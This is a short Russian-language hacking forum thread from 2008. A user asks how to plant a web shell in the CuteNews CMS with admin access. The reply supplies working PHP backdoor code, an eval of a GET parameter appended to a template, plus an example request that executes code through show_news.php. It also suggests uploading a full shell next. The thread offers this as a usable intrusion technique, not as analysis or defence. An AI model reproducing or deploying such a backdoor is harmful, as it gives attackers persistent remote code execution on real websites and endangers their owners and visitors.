Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   [Вопрос]Залить шелл в CuteNews (https://forum.antichat.xyz/showthread.php?t=83153)

Byrger 31.08.2008 21:16

[Вопрос]Залить шелл в CuteNews
 
Добрый вечер.
У меня вопрос как залить шелл в CuteNews если есть привелегии админа? :confused:

Grey 31.08.2008 22:06

Цитата:

Сообщение от Byrger
Добрый вечер.
У меня вопрос как залить шелл в CuteNews если есть привелегии админа? :confused:

Добавляем в конце при редактирование шаблона (лучше добавлять в последнем блоке):

Код:

HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);

Получаешь возможность выполнять команды:

Код:

http://test1.ru/cutenews/show_news.php?shell=phpinfo();
Собственно никто не мешает закинуть туда сразу нормальный шелл.

P.S. Закрыто.
P.P.S. Для вопросов есть спец тема.
P.P.P.S. Эту не удалять - пусть будет (потом перекинем в раздел с cms'ками).


Время: 04:42